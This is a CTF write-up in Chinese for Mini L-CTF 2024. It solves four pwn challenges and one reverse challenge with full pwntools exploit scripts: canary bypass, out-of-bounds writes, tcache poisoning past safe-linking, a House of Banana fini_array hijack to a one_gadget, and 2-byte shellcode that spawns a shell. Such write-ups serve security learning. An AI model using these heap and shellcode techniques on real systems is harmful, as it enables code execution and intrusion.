Mini L-CTF 2024 Writeup
Pwn - Ottoshop♿
在 main
函数里看到,输入 666
可以获得一次购买 golden ♿ 的机会。注意到设置 ♿ 名字的 scanf
存在溢出。 scanf
读取数字时,输入 +
或 -
即可跳过一次输入(因为不知道这回事卡了好久 😭),这样可以绕过 canary 保护,修改返回地址劫持控制流。buy
函数和 change
函数中都未检查负数 index,可以向上任意写。在一堆 otto 函数(雾)中发现后门函数 o77oOtTo0T70()
(由于直接用 syscall 而非封装函数,所以从 got 表看不出端倪),其检查 flag2
值是否为 otto
并从 flag1
中异或出 /bin/sh\0
并执行 execve
。所以只需要用 buy
修改 flag2
(index = -72)、money
(index = -90),用 golden
劫持控制流至后门函数即可。
Exp:
from pwn import *
context.terminal = ['konsole', '-e']
binary = 'ottoshop'
p = process(binary)
elf = ELF(binary)
address = 0x04020A4
need_to_be_666 = 0x407580
start = 0x407180
flag2 = 0x407060
money = 0x407018
pos1 = (flag2 - start) // 4
pos2 = (money - start) // 4
p.sendline(b'666')
p.sendline(b'')
p.sendline(b'1')
p.sendline(b'-72')
p.send(b'otto')
p.sendline(b'1')
p.sendline(b'-90')
p.send(b'abcd')
p.sendline(b'3')
p.sendline(b'4')
p.sendline(b'0')
p.sendline(b'+')
p.sendline(b'0')
p.sendline(b'4202660')
p.interactive()
Pwn - game
游戏是数字华容道。发现上下移动不会检查边界,可以修改返回地址。程序中存在后门函数 backdoor()
。一开始的思路是利用栈中残余固定的值拼凑出一个 backdoor
的地址。但是调试起来十分麻烦,所以用 Python 重写了游戏,可视化手动玩,自动生成脚本,大幅减轻负担。
import numpy
input_str = '''
0x7ffc0836c080: 0x00007ffc0836c090 0x0000598b0000000a
0x7ffc0836c090: 0x010a08090204050b 0x000d070f0e060c03
0x7ffc0836c0a0: 0x00007ffc0836c1f8 0x15445e0a74b74c00
0x7ffc0836c0b0: 0x00007ffc0836c0e0 0x0000598b817dcf48
0x7ffc0836c0c0: 0xdcdcd8d8dcd8dcd8 0x0000769a5ce75400
'''
print()
def flat(eles):
res = []
for i in eles:
if isinstance(i, list):
res.extend(flat(i))
else:
res.append(i)
return res
data = flat([([i.split(':')[1].strip().split(' ')[0].replace('0x', '')] + [i.split(':')[1].strip().split(' ')[1].replace('0x', '')]) for i in input_str.strip().split('\n')])
tiles = []
for addr in data:
temp = []
while len(addr) != 0:
temp.append(addr[0:2])
addr = addr[2:]
tiles.extend(temp[::-1])
tiles_np = numpy.array(tiles).reshape(len(tiles) // 4, 4)
tiles = tiles_np.tolist()
# 一些提示符
tiles[7][2] = 'YY'
tiles[7][3] = 'XX'
tiles[10][3] = '||'
tiles[11][3] = '||'
tiles[14][0] = '-0'
tiles[14][1] = '-1'
tiles[14][2] = 'EE'
tiles[14][3] = 'FF'
tiles[15][0] = 'AA'
tiles[15][1] = 'BB'
tiles[15][2] = 'CC'
tiles[15][3] = 'DD'
moves = []
class Point:
x: int
y: int
p = Point()
p.x = 3
p.y = 7
def up():
moves.append('up')
tiles[p.y][p.x], tiles[p.y - 1][p.x] = tiles[p.y - 1][p.x], tiles[p.y][p.x]
p.y -= 1
def down():
moves.append('down')
tiles[p.y][p.x], tiles[p.y + 1][p.x] = tiles[p.y + 1][p.x], tiles[p.y][p.x]
p.y += 1
def left():
moves.append('left')
tiles[p.y][p.x], tiles[p.y][p.x - 1] = tiles[p.y][p.x - 1], tiles[p.y][p.x]
p.x -= 1
def right():
moves.append('right')
tiles[p.y][p.x], tiles[p.y][p.x + 1] = tiles[p.y][p.x + 1], tiles[p.y][p.x]
p.x += 1
moves = []
while True:
print(numpy.array(tiles))
move = input('> ')
match move:
case 'w':
up()
case 'a':
left()
case 's':
down()
case 'd':
right()
case 'e':
break
case _:
print('Invalid')
for move in moves:
print(move + '(1)')
好不容易拼凑出地址(由于开了 PIE 保护,所以需要爆破 1/16 概率),发现由于栈对齐,system
函数调用出现 SIGSEGV
(😇)。在栈上合理范围内实在找不到可以拼凑出 backdoor + 1
等地址的值。然后,然后,然后突然发现程序开头我一直无视的 name
,其实可以输入一个地址(还是经验少了 😫)。
Exp:
from pwn import *
import time
context.terminal = ['konsole', '-e']
binary = 'game'
p = process(binary)
elf = ELF(binary)
backdoor = 0xCD8
ret_ori = 0xF48
SLEEP = 0.001
def up(times: int):
for _ in range(times):
p.send(b'w')
time.sleep(SLEEP)
def down(times: int):
for _ in range(times):
p.send(b's')
time.sleep(SLEEP)
def left(times: int):
for _ in range(times):
p.send(b'a')
time.sleep(SLEEP)
def right(times: int):
for _ in range(times):
p.send(b'd')
time.sleep(SLEEP)
while True:
binary = 'game'
p = process(binary)
p.sendline(p64(0xDCDCD8D8DCD8DCD8))
p.sendline(b'')
p.sendline(b'')
left(3)
up(5)
right(1)
down(5)
right(2)
# 自动生成
down(1)
down(1)
down(1)
down(1)
down(1)
down(1)
down(1)
down(1)
left(1)
left(1)
left(1)
down(1)
down(1)
right(1)
right(1)
up(1)
up(1)
left(1)
down(1)
right(1)
up(1)
up(1)
left(1)
left(1)
down(1)
down(1)
right(1)
right(1)
up(1)
up(1)
left(1)
down(1)
down(1)
left(1)
up(1)
right(1)
down(1)
down(1)
right(1)
right(1)
up(1)
left(1)
up(1)
up(1)
right(1)
down(1)
down(1)
left(1)
up(1)
up(1)
right(1)
down(1)
left(1)
up(1)
right(1)
up(1)
up(1)
up(1)
up(1)
up(1)
up(1)
up(1)
for i in range(93):
left(1)
right(1)
try:
p.sendline(b'')
p.sendline(b'')
p.sendline(b'')
p.interactive()
except EOFError:
continue
Reverse - Long long call
(Pwn 暂时做不出来,跑去隔壁逆向看看 🤓。)IDA 打开后发现反编译完全没意义了。程序中每个汇编语句都用一个调用、一个抵消调用栈的 add rsp, 0x8
,一对无意义 pushf popf
混淆,用 gdb 调试发现存在反调试,通过查找文本 Hacker
定位到反调试触发点,用 Keypatch 将其填 nop
(0x14AF
至 0x14B3
)拿下反调试,然后就可以愉快调试了。逆向发现 0x4080
处存储了混淆后的 flag,程序逻辑是对输入字符串每两字符对其和分别原地求异或,并与同样加密后的 flag 比较。取出加密后 flag,编写 Python 脚本爆破得原始 flag。
def crack(A, B):
for a in range(0,255):
for b in range(0,255):
if ((a^(a+b)) == A) and (b^(a+b) == B):
print(f"{chr(a)}{chr(b)}", end="")
data = [[0xBB, 0xBF], [0xB9, 0xBE], [0xC3, 0xCC], [0xCE, 0xDC], [0x9E, 0x8F], [0x9D, 0x9B], [0xA7, 0x8C], [0xD7, 0x95], [0xB0, 0xAD], [0xBD, 0xB4], [0x88, 0xAF], [0x92, 0xD0], [0xCF, 0xA1], [0xA3, 0x92], [0xB7, 0xB4], [0xC9, 0x9E], [0x94, 0xA7], [0xAE, 0xF0], [0xA1, 0x99], [0xC0, 0xE3], [0xB4, 0xB4], [0xBF, 0xE3]]
for d in data:
crack(d[0], d[1])
Pwn - PhoneBook
收获最多的一集,综合复习/学习了各种堆利用方法。
(后附图)
0x00 Leak Heap Ptr
分析程序,保护开满,增删改查堆题。发现 phone
字段存在三字节溢出,可以修改其后的 next
字段以达成任意分配堆地址,得到任意读任意写机会。通过构造两个假 chunk(offset:0x10、0x20,id:50、51),以其作为桥梁泄漏堆地址。定义 person
结构体助记:
00000000 person struc ; (sizeof=0x28, mappedto_8)
00000000 id dq ?
00000008 name db 16 dup(?) ; string(C)
00000018 phone db 8 dup(?) ; string(C)
00000020 next dq ? ; offset
00000028 person ends
Exp 0:
add(b'\n', b'\n')
add(b'456\n', b'\n')
edit(1, b'\n', b'A'*9) # 连通后方 next_ptr
show()
rec = p.recv()
pos = rec.index(b'A'*9)
chunk2_addr = u64(b'\0' + rec[pos+9: pos+14] + b'\0\0')
chunk1_addr = chunk2_addr - 0x30
chunk3_addr = chunk2_addr + 0x30
fake_chunk0_addr = chunk2_addr + 0x10
fake_chunk1_addr = chunk2_addr + 0x20
print('fake chunk0: ' + hex(fake_chunk0_addr))
print('fake chunk1: ' + hex(fake_chunk1_addr))
print('chunk2: ' + hex(chunk2_addr))
(chunk 地址必须 0x10 对齐,否则 free
时出错。)
0x01 Unsorted Bin Leak Libc
再次以 chunk1
为引导,fake_chunk0
和 chunk2
为桥梁在 fake_chunk1
处构造假 unsorted bin 大小(0x840)的 chunk,并加上 PREV_INUSE
标志(0x1),其 size
位于原 person
结构体的 phone
处,连续填充多个 phone
字段为 0x31
的 chunk(偷懒不想算精确位置),以绕过 unsorted bin prev chunk size 检查。最后 delete
fake_chunk1
,进入 unsorted bin,其 bk
字段(原 fake_chunk1
name
)已被修改为 libc 上 main_arena
地址,用 show
获取得 libc 基址。需要注意绕过 id
大小检查(与 next
冲突)和 add
填零(所以这块很绕 😀)。
Exp 1:
edit(1, b'\n', cyclic(8) + p64(chunk2_addr)[0:2]) # 暂时恢复
for i in range(50): # 冗余
add(b'\n', p64(0x31))
p.recv()
edit(3, cyclic(8) + p64(chunk3_addr), b'\n')
edit(2, p64(49) + p64(50)[0:7], p64(0x841) + p64(fake_chunk0_addr)[0:2])
edit(50, p64(0x841) + p64(51)[0:7], cyclic(8) + p64(fake_chunk1_addr)[0:2])
edit(1, b'\n', cyclic(8) + p64(fake_chunk1_addr)[0:2])
delete(51) # VULN
edit(1, b'\n', cyclic(8) + p64(fake_chunk1_addr)[0:2])
p.recv()
show()
rec = p.recv()
pos = rec.rfind(cyclic(8))
main_arena_addr = u64(rec[pos+30:pos+36] + b'\0\0')
print('main_arena: ' + hex(main_arena_addr))
main_arena_offset = 0x219CE0
free_hook_offset = 0x2204A8
libc_base_addr = main_arena_addr - main_arena_offset
print('libc: ' + hex(libc_base_addr))
(填入后半段 name
字段时有 [0:7]
是因为只 read
15 字节)
0x02 Leak _rtld_global._ns_loaded
(link_map
)
到这里正常解法是利用上述任意写直接覆盖 malloc_hook
等,写入 one _gadget,卡了好久突然意识到 glibc 2.34 已移除各种 hook(😩),只好另辟蹊径。打 IO 没学过/太麻烦,现学了一个较简单的高版本打法(好像叫 House of Banana?)。
glibc 中链接了 ld.so 中的一个符号 _rtld_global
,其保存不少用于动态链接的运行时信息。我们主要关注 _ns_loaded
字段(offset:0x00),这是一个结构体指针(链表),其指向的字段 l_addr
(offset:0x00)保存了程序基址,通过分析 glibc exit(int)
函数源码发现,其执行中途会读取该字段并根据它寻找并执行 fini_array
中存储的函数(指针)。我们劫持 _ns_loaded
,将其改为 堆上一可控地址 - fini_array 偏移量
,再向该可控位置填入 one_gadget 即可。
首先泄露地址。用类似 0x00 步的方法,泄露出 _rtld_global
及 _ns_loaded
地址。(虽然网上许多文章都认为这两个地址以及 ld.so 即使开了 ASLR 也与 libc 有固定偏移,或本地与远程不同只需爆破两字节,但我经实验发现本地甚至每次执行都不同 🤔。)
Exp 2:
rt_ld_global = libc_base_addr + 0x21A878
edit(1, b'\n', cyclic(8) + p64(fake_chunk0_addr)[0:2])
edit(50, cyclic(8) + p64(51)[0:7], cyclic(8) + p64(fake_chunk1_addr)[0:2])
edit(1, b'\n', cyclic(8) + p64(fake_chunk1_addr)[0:2])
edit(51, cyclic(8) + p64(rt_ld_global - 0x8)[0:7], b'\n')
edit(1, b'\n', cyclic(8) + p64(fake_chunk0_addr)[0:2])
show()
rec = p.recv()
pos = rec.find(b'@')
_rtld_global_addr = u64(rec[pos:pos+6] + b'\0\0')
print('_rtld_global addr: ' + hex(_rtld_global_addr))
link_map_addr = _rtld_global_addr + 0x12A0
0x03 Tcache Bin Poisoning Arbitrary Write
先随意 delete
一个 chunk 再 delete
chunk3
。此时 chunk3
已进入 tcache bin 且后进先出(LIFO)。借助之前泄漏的堆地址右移 12 位对目标地址按位异或(混淆)绕过 safe-linking,并如法炮制修改 chunk3
tcache bin next
字段(原 chunk3
id
)为混淆后的 &_ns_loaded - 0x10
。第一次 add
使 tcache bin 中最后一个 chunk 的 next
字段指向目标,再次 add
分配新 chunk 至目标并将其修改为可控堆地址。但是在此之前,由于从 tcache bin 取出最后一个 chunk 时会先检查 unsorted bin,需要先恢复 fake_chunk1
(在 unsorted bin 中)的 size
,否则出错。
Exp 3:
chunk5_addr = chunk3_addr + 0x60
chunk6_addr = chunk5_addr + 0x30
fini_array_offset = 0x3D78
target = link_map_addr
fake_rt_ld_addr = chunk6_addr
print('target: ' + hex(target - 0x10))
edit(1, b'\n', cyclic(8) + p64(fake_chunk0_addr)[0:2])
edit(50, p64(0x841) + p64(51)[0:7], b'\n')
edit(1, b'\n', cyclic(8) + p64(fake_chunk1_addr)[0:2])
edit(51, p64(0x31) + p64(3)[0:7],cyclic(8) + p64(chunk3_addr)[0:2])
delete(4)
delete(3)
edit(51, p64(0x31) +
p64(
(target - 0x10) ^ (fake_chunk1_addr >> 12) # name (0x10)
)[0:7], # unsafe unlink
cyclic(8) + p64(chunk5_addr)[0:2])
add(b'PWN!', b'PWN!')
add(cyclic(8) + p64(fake_rt_ld_addr + 0x8 - fini_array_offset)[0:7], p64(4)) # name (0x8)
edit(1, b'123', cyclic(8) + p64(fake_chunk0_addr)[0:2])
edit(50, p64(0x841) + p64(main_arena_addr)[0:7], p64(main_arena_addr))
edit(1, b'123', cyclic(8) + p64(chunk6_addr)[0:2])
(chunk 地址必须 0x10 对齐,否则从 tcache bin 取出 chunk 时出错,所以未选择偏移 0x08 刚好到达 name
字段。add
会破坏 _rt_global
结构不过好在不影响利用。)
0x04 Fake fini_array
终于结束了。在对应位置写入 one_gadget,exit
getshell。(🥳🎉)
Exp 4:
one_gadget = 0xebcf1
edit(6, p64(libc_base_addr + one_gadget), cyclic(8))
exitit()
p.interactive()
0xff Appendix
一张图:
+main--+
| ... |
| size |
| id1 |
| na |
| me |
| phone|
| next |
| size |
| id2 | +fake0-+
| na |-| size |
+fake1-+ | me |-| id50 |
| size |-| phone|-| na |
unsort pos->| id51 |-| next |-| me |
| na |-| size |-| phone|
| me |-| id3 |<| next |-tcache pos
| phone|-| na | +------+
| next |-| me |
+------+ | phone|
| next |
| size |
| ... |
+------+
一些操作的封装:
def s():
time.sleep(0.01)
def add(name: bytes, phone: bytes):
p.sendline(b'1')
s()
p.send(name)
s()
p.send(phone)
s()
def delete(index: int):
p.sendline(b'2')
s()
p.sendline(str(index).encode())
s()
def show():
p.sendline(b'3')
s()
def edit(index: int, name: bytes, phone: bytes):
p.sendline(b'4')
s()
p.sendline(str(index).encode())
s()
p.send(name)
s()
p.send(phone)
s()
def exitit():
p.sendline(b'5')
s()
(用 sendafter
更好,但是我总是遇到奇奇怪怪问题,懒得调了。)
参考资料
FreeBuf - GLIBC2.35有“HOOK”?带你打开高版本GLIBC漏洞利用的新世界
Pwn - 2 bytes
分析程序发现用溢出绕过strcmp(...)
检查后只有 2 字节(点题)shellcode 可用,另有 5 字节空间。枚举机器码发现 syscall
正好两字节(\x0f\x05
),而且当前寄存器布局因为先前的mmap(...)
调用和 mov eax, 0
,很适合read
系统调用,但是差一点,需要交换 rdx
与 rsi
位置。折腾很久后发现可以先 jmp 0xfffffffffffffffb
(\xeb\xf9
)至 passwd
开头处(-5),从而执行更多指令:xchg rdx, rsi
(\x48\x87\xf2
)+ syscall
。(加上 jmp
竟然正好 7 字节 😧)最后写入真正的 shellcode 即可。另外编写 Python 脚本绕过异或混淆。
Exp:
from pwn import *
context.terminal = ['konsole', '-e']
context(os='linux', bits=64, arch='amd64')
binary = './pwn'
p = process(binary)
elf = ELF(binary)
b'\x48\x87\xf2\x0f\x05\xeb\xf9'
def crack(sh: bytes):
res: bytes = sh[:2]
for i in range(5):
for c in range(256):
if sh[i + 2] == sh[i] ^ sh[i + 1] ^ c:
res += c.to_bytes()
break
return res
def mangle(sh: bytes):
for i in range(0, 5):
sh = sh[:i + 2] + (sh[i] ^ sh[i + 1] ^ sh[i + 2]).to_bytes() + sh[i + 3:]
return sh
def tryit(code: str):
b = asm(code)
b = b[0:2] + b'\0' + b[3:]
print(disasm(b))
payload = b'H\x87=z\xf8\xe1\x17'
payload = payload + b'\0' + payload
p.send(payload)
p.send(asm(shellcraft.sh()))
p.interactive()